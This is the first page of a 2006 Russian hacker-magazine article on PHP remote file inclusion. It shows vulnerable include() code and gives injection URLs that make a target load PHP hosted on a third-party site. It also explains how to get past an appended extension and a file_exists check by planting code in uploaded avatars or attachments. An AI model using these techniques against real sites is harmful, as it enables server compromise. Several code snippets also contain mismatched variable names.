Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #90, ИЮНЬ 2006 г.

PHPenetration

Zadoxlik (antichat.ru)

Хакер, номер #090, стр. 090-072-1


Все тонкости внедрения кода в PHP-скрипты

Прошло уже много времени с тех пор, как мы с тобой начали изучать php-injection атаки. Ты читал статьи в журнале, искал при помощи гугла бажные сайты и проводил образовательные программы по информационной безопасности :). Однако все наши действия остались безрезультатными: до сих пор уязвима целая куча ресурсов! Просто для использования этих багов нужны дополнительные сведения, о которых ты еще мало что знаешь. Пришло время заполнить этот пробел!

Даже у таких крутых хакеров, как ты, бывают осечки: казалось бы, нашел бажный скрипт, меняешь его параметры, читаешь ошибки, а поломать систему никак не удается. Чтобы такой проблемы не было, Zadoxlik написал эту статью.

Классика

Самая распространенная ошибка заключается в подстановке внешней переменной безо всяких проверок, сразу в оператор include. Обычно это делают при создании модульной системы, каждый модуль которой – php-скрипт, который инклудится при определенных условиях. Вот посмотри на этот пример:

$umol4anie="main.php";

if(@$_GET['id'])

include($_GET['id']);

else

include($umolchanie);

При подключении модулей URL выглядит следующим образом: index.php?id=module.php. Довольно часто, если этого не запрещает конфигурация PHP, ты можешь вставить в тело скрипта свой код таким образом: http://site.ru/index.php?id=http://othersite.ru/anyfile.txt

Где содержимое anyfile.txt - это код твоего PHP-скрипта.

Обойти эту уязвимость можно многими путями. Ты только посмотри:

$ex=".php";

$umol4anie="main".$exp;

if(@$_GET['id'])

include($_GET['id'].$exp);

else

include($umolchanie);

Модуль в виде файла lol.php в данном случае подключается так: http://site.ru/index.php?id=lol. Припиши к своему файлу anyfile на othersite.ru расширение .php. Теперь инъекция будет выглядеть точно так же: http://site.ru/index.php?id=http://othersite.ru/anyfile

Действительно, ведь скрипт сам прикрутит расширение php. Это были самые элементарные атаки PHP-injection. Далее я покажу тебе материал поинтереснее.

Почти история

В конце этого абзаца ты сможешь понять, почему у него такое название. Вспомни ужасную функцию file_exists. Да, это та, которая проверяет существование файла. Она вернет FALSE при обращении к любому удаленному документу. То есть файл должен быть доступен через файловую систему сервера. Таким образом, можно исключить любую инъекцию удаленного фрагмента.

$ex=".php";

$umol4anie="main".$exp;

if(@$_GET['id'])

$final=$_GET['id'].$exp;

else

$final=$umolchanie;

if(file_exists($final))

include($final);

До конца ли безопасна такая конструкция? Нет, не всегда. Представь, что на сайте есть форум, и на него можно загружать свои файлы. Это могут быть аттачи к сообщениям, фоты или аватары. К любому из перечисленных агрегатов можно приклеить незаметно для скрипта-аплоадера PHP-код. Таким образом, полученный файл со зловредным кодом будет находиться на сервере, и одна обработка file_exists здесь не спасет. Как ты понимаешь, если бы расширение не проверялось, и вся надежда была бы на этой функции, инъекция бы уже удалась.

Содержание  Вперед на стр. 090-072-2
Hosted by uCoz